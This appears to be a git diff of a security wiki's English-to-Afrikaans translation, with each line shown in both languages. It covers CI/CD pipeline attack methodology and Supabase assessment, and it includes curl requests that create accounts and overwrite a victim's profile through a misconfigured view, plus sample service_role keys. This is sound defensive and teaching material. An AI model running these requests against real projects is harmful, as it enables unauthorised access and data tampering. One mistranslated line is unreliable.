CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
CI/CD pipelines maak dit vir ontwikkelaars moontlik om die uitvoering van kode te **outomatiseer** vir verskeie doeleindes, insluitend bou, toetsing en ontplooiing van toepassings. Hierdie geoutomatiseerde workflows word **getrigger deur spesifieke aksies**, soos code pushes, pull requests of geskeduleerde take. Hulle help om die proses van ontwikkeling na produksie te stroomlyn.
|
||||
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
Meg diestelsels moet egter **nerens uitgevoer word** en gewoonlik met **bevoorregte credentials om kode te ontplooi of sensitiewe inligting te bereik**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> Selfs al laat sommige VCS-platforms toe om pipelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode ontleed.
|
||||
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
Platforms wat die bronkode van jou projek bevat, hou sensitiewe inligting en mense moet baie versigtig wees met die permissies wat binne daardie platform gegee word. Dit is sommige algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **Leaks**: As jou kode leaks in die commits bevat en die aanvaller toegang tot die repo het (omdat dit publiek is of omdat hy toegang het), kan hy die leaks ontdek.
|
||||
- **Access**: As 'n aanvaller toegang tot 'n rekening binne die VCS-platform kry, kan hy **meer sigbaarheid en permissies** bekom.
|
||||
- **Register**: Sommige platforms sal net buitegebruikers toelaat om 'n rekening te skep.
|
||||
- **SSO**: Sommige platforms sal nie gebruikers toelaat om te registreer nie, maar sal enigiemand toelaat om met 'n geldige SSO in te gaan (so 'n aanvaller kan byvoorbeeld sy github-rekening gebruik om in te gaan).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... daar is verskeie soorte tokens wat 'n gebruiker kan steel om op een of ander manier toegang tot 'n repo te kry.
|
||||
- **Webhooks**: VCS-platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigbare secrets nie, kan 'n **aanvaller hulle misbruik**.
|
||||
- As geen geheim ingestel is nie, kan die aanvaller die webhook van die derdeparty-platform misbruik.
|
||||
- As die geheim in die URL is, gebeur dieselfde en die aanvaller het ook die geheim.
|
||||
- **Code compromise:** As 'n kwaadwillige akteur 'n soort **skryf** toegang oor die repos het, kan hy probeer om **kwaadaardige kode in te voeg**. Om suksesvol te wees mag hy die **branch protections** moet omseil. Hierdie aksies kan vir verskeie doelwitte uitgevoer word:
|
||||
- Kompromitteer die main branch om **produksie te kompromitteer**.
|
||||
- Kompromitteer die main (of ander branches) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik teste, terraform of ander dinge binne die repo op hul masjiene uitvoer).
|
||||
- **Compromise the pipeline** (kyk volgende afdeling)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
Die mees algemene manier om 'n pipeline te definieer, is deur gebruik te maak van 'n **CI configuration file gehost in die repository** wat die pipeline bou. Hierdie lêer beskryf die volgorde van uitgevoerde jobs, voorwaardes wat die vloei beïnvloed, en build-omgewinginstellings.\
|
||||
Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers onder .github/workflows. Wanneer dit getrigger word, **pulls die pipeline job die kode** van die gekose bron (bv. commit / branch), en **voer die opdragte wat in die CI-konfigurasielêer gespesifiseer is** teen daardie kode uit.
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
Dus is die uiteindelike doel van die aanvaller om op een of ander manier daardie konfigurasielêers of die opdragte wat hulle uitvoer, te **kompromitteer**.
|
||||
|
||||
> [!TIP]
|
||||
> Sommige gehoste builders laat contributors toe om die Docker build context en Dockerfile path te kies. As die context deur die aanvaller beheer word, kan jy dit buite die repo stel (bv. "..") om host-lêers tydens build in te neem en secrets te eksfiltreer. Sien:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
Die Poisoned Pipeline Execution (PPE) path misbruik permissies in 'n SCM repository om 'n CI pipeline te manipuleer en kwaadaardige opdragte uit te voer. Gebruikers met die nodige permissies kan CI-konfigurasielêers of ander lêers wat deur die pipeline job gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vergiftig" die CI-pipeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte.
|
||||
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy:
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
- Heb **write access to the VCS platform**, aangesien pipelines gewoonlik getrigger word wanneer 'n push of 'n pull request uitgevoer word. (Kyk die VCS pentesting methodology vir 'n samevatting van maniere om toegang te kry).
|
||||
- Let daarop dat soms 'n **external PR as "write access" tel**.
|
||||
- Selfs as hy write-permissies het, moet hy seker wees dat hy die **CI config file of ander lêers waarop die config staatmaak** kan wysig.
|
||||
- Hiervoor mag hy die **branch protections** moet kan omseil.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
Daar is 3 PPE-smake:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **D-PPE**: 'n **Direct PPE** aanval vind plaas wanneer die akteur die **CI config** lêer wysig wat uitgevoer gaan word.
|
||||
- **I-DDE**: 'n **Indirect PPE** aanval gebeur wanneer die akteur 'n **lêer** wysig waarop die CI config lêer wat uitgevoer gaan word **berus** (soos 'n make-lêer of 'n terraform-konfig).
|
||||
- **Public PPE or 3PE**: In sommige gevalle kan pipelines **getrigger word deur gebruikers wat nie write access in die repo het nie** (en wat dalk nie eers deel van die org is nie) omdat hulle 'n PR kan stuur.
|
||||
- **3PE Command Injection**: Gewoonlik stel CI/CD pipelines **environment variables** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en dit in 'n **gevaarlike plek** gebruik word (soos die uitvoering van **sh commands**), kan 'n aanvaller **opdragte daarin injekteer**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
Deur die 3 smake om 'n pipeline te vergiftig te ken, kom ons kyk wat 'n aanvaller na 'n suksesvolle uitbuiting kan bekom:
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
- **Secrets**: Soos vroeër genoem, vereis pipelines **bevoegdhede** vir hul jobs (haal die kode, bou dit, ontplooi dit ...) en hierdie bevoegdhede word gewoonlik in **secrets** gehou. Hierdie secrets is gewoonlik toeganklik via **env variables of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel secrets as moontlik te eksfiltreer.
|
||||
- Afhangend van die pipeline platform mag die aanvaller **die secrets in die config moet spesifiseer**. Dit beteken as die aanvaller nie die CI-konfigurasielêer kan wysig nie (**I-PPE** byvoorbeeld), kan hy **slegs die secrets eksfiltreer wat daardie pipeline het**.
|
||||
- **Computation**: Die kode word êrens uitgevoer; afhangend van waar dit uitgevoer word, mag 'n aanvaller verder kan pivot.
|
||||
- **On-Premises**: As die pipelines on-premises uitgevoer word, kan 'n aanvaller in 'n **interne netwerk met toegang tot meer hulpbronne** beland.
|
||||
- **Cloud**: Die aanvaller kan toegang tot **ander masjiene in die cloud** kry, maar ook IAM roles/service accounts **tokens** daaruit eksfiltreer om **verdere toegang in die cloud** te verkry.
|
||||
- **Platforms machine**: Soms word die jobs binne die **pipelines platform machines** uitgevoer, wat gewoonlik in 'n cloud is met **geen verdere toegang**.
|
||||
- **Select it:** Soms het die **pipelines platform verskeie masjiene geconfigureer** en as jy die **CI config file** kan wysig, kan jy **aandui waar jy die kwaadwillige kode wil laat loop**. In daardie situasie sal 'n aanvaller waarskynlik 'n reverse shell op elke moontlike masjien laat loop om dit verder te probeer uitbuit.
|
||||
- **Compromise production**: As jy binne die pipeline is en die finale weergawe daargebou en ontplooi word, kan jy die **kode wat in produksie gaan loop compromise**.
|
||||
|
||||
## More relevant info
|
||||
## Meer relevante inligting
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n open-source tool vir die ouditering van jou software supply chain stack vir sekuriteitskompliance gebaseer op 'n nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's van code-time tot deploy-time kan onthul.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Kyk hierdie interessante artikel oor die top 10 CI/CD risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Op elke platform wat jy lokaal kan laat loop, sal jy instruksies vind oor hoe om dit plaaslik te begin sodat jy dit kan konfigureer soos jy wil om dit te toets.
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is 'n static code analysis tool vir infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,25 +2,25 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
Volgens hul [**landing page**](https://supabase.com/): Supabase is 'n open source Firebase-alternatief. Begin jou projek met 'n Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, en Vector embeddings.
|
||||
|
||||
### Subdomain
|
||||
### Subdomein
|
||||
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basies, wanneer 'n projek geskep word, sal die gebruiker 'n supabase.co subdomein ontvang soos: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Database configuration**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **Hierdie data kan bereik word vanaf 'n skakel soos `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
Hierdie **database** sal in 'n AWS-streek ontplooi word, en om daaraan te koppel is dit moontlik om te koppel via: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dit is geskep in us-west-1).\
|
||||
Die wagwoord is 'n **wagwoord wat die gebruiker tevore ingestel het**.
|
||||
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
Aangesien die subdomein bekend is en dit as username gebruik word en die AWS-streke beperk is, kan dit moontlik wees om te probeer om die wagwoord te **brute force**.
|
||||
|
||||
This section also contains options to:
|
||||
Hierdie afdeling bevat ook opsies om:
|
||||
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
@@ -31,20 +31,19 @@ This section also contains options to:
|
||||
## API Configuration
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **Hierdie data kan bereik word vanaf 'n skakel soos `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
Die URL om die supabase API in jou projek te bereik sal so lyk: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
Dit sal ook 'n **anon API key** (`role: "anon"`), genereer, soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` wat die toepassing sal moet gebruik om met die API te kommunikeer wat in ons voorbeeld blootgestel is in
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
Dit is moontlik om die API REST wat hierdie API kontak in die [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) te vind, maar die mees interessante endpoints sou wees:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -69,13 +68,11 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
<summary>Aanmelding (/auth/v1/token?grant_type=password)</summary>
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -100,173 +97,165 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
So, wanneer jy 'n klient ontdek wat supabase gebruik met die subdomein wat hulle toegewys is (dit is moontlik dat 'n subdomein van die maatskappy 'n CNAME oor hul supabase-subdomein het), kan jy probeer om **'n nuwe rekening op die platform te skep deur die supabase API te gebruik**.
|
||||
|
||||
### secret / service_role api keys
|
||||
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
A secret API key will also be generated with **`role: "service_role"`**. Hierdie API-sleutel moet geheim gehou word omdat dit **Row Level Security** kan omseil.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
Die API sleutel lyk soos dit: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
A **JWT Secret** sal ook gegenereer word sodat die toepassing **custom JWT tokens kan skep en teken**.
|
||||
|
||||
## Authentication
|
||||
## Outentisering
|
||||
|
||||
### Signups
|
||||
### Aanmeldings
|
||||
|
||||
> [!TIP]
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
> Standaard sal supabase toelaat dat **nuwe gebruikers rekeninge kan skep** op jou projek deur die vroeër genoemde API-endpoints te gebruik.
|
||||
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
Egter, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet bevestig** om in die rekening aan te meld. Dit is moontlik om **"Allow anonymous sign-ins"** te aktiveer om mense toe te laat om aan te meld sonder om hul e-pos te verifieer. Dit kan toegang gee tot **onverwagte data** (hulle kry die rolle `public` en `authenticated`).\
|
||||
Dit is 'n baie slegte idee omdat supabase per aktiewe gebruiker hef, dus kan mense gebruikers skep en aanmeld en supabase sal daarvoor hef:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
Om die signup-knoppie in die frontend te verberg is nie genoeg nie. As die **Auth server steeds signups toelaat**, kan 'n aanvaller die API direk met die publieke `anon` key aanroep en willekeurige gebruikers skep.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
- Skakel e-pos/wagwoord-registrasies in die Dashboard uit: Authentication → Providers → Email → Disable sign ups (invite-only), of stel die ekwivalente GoTrue-instelling.
|
||||
- Verifieer dat die API nou 4xx teruggee vir die vorige oproep en dat geen nuwe gebruiker geskep word nie.
|
||||
- As jy op invites of SSO staatmaak, maak seker dat alle ander providers gedeaktiveer is tensy dit uitdruklik nodig is.
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
## RLS en Views: Skryf-omseiling via PostgREST
|
||||
|
||||
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
|
||||
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
Die gebruik van 'n Postgres VIEW om "sensitiewe" kolomme te "versteek" en dit via PostgREST bloot te stel kan verander hoe voorregte geëvalueer word. In PostgreSQL:
|
||||
- Gewone views voer standaard uit met die voorregte van die view-eienaar (definer semantics). In PG ≥15 kan jy kies om `security_invoker` te gebruik.
|
||||
- Row Level Security (RLS) geld op basistabelle. Tabel-eienaars omseil RLS tensy `FORCE ROW LEVEL SECURITY` op die tabel gestel is.
|
||||
- Opdateerbare views kan INSERT/UPDATE/DELETE aanvaar wat dan op die basistabel toegepas word. Sonder `WITH CHECK OPTION` kan skryf-operasies wat nie by die view-predikaat pas steeds slaag.
|
||||
|
||||
Risk pattern observed in the wild:
|
||||
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
|
||||
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
Risikopatroon wat in die praktyk waargeneem is:
|
||||
- 'n Verminderde-kolom view word deur Supabase REST blootgestel en aan `anon`/`authenticated` toegestaan.
|
||||
- PostgREST laat DML toe op die opdateerbare view en die operasie word ge-evalueer met die view-eienaar se voorregte, wat effektief die beoogde RLS-beleid op die basistabel omseil.
|
||||
- Resultaat: kliënte met lae voorregte kan massaal rye wysig (bv. profiel-bios/avatars) wat hulle nie mag wysig nie.
|
||||
|
||||
Illustratiewe write via view (attempted from a public client):
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- Voorkeur om base tables bloot te stel met eksplisiete, least-privilege grants en presiese RLS-beleid.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
- Maak dit nie-opdateerbaar nie (bv. include expressions/joins) of weier `INSERT/UPDATE/DELETE` op die view aan alle onbetroubare rolle.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` sodat die invoker se voorregte gebruik word in plaas van die eienaar se.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` sodat selfs eienaars aan RLS onderwerp is.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` en aanvullende RLS op base tables om te verseker dat slegs toegelate rye geskryf/gewyzig kan word.
|
||||
- In Supabase, vermy om `anon`/`authenticated` enige write privileges op views te gee tensy jy end-to-end gedrag met toetse geverifieer het.
|
||||
|
||||
Detection tip:
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
- From `anon` and an `authenticated` test user, probeer alle CRUD-operations teen elke blootgestelde table/view. Enige suksesvolle write waar jy weiering verwag het, dui op `misconfiguration`.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
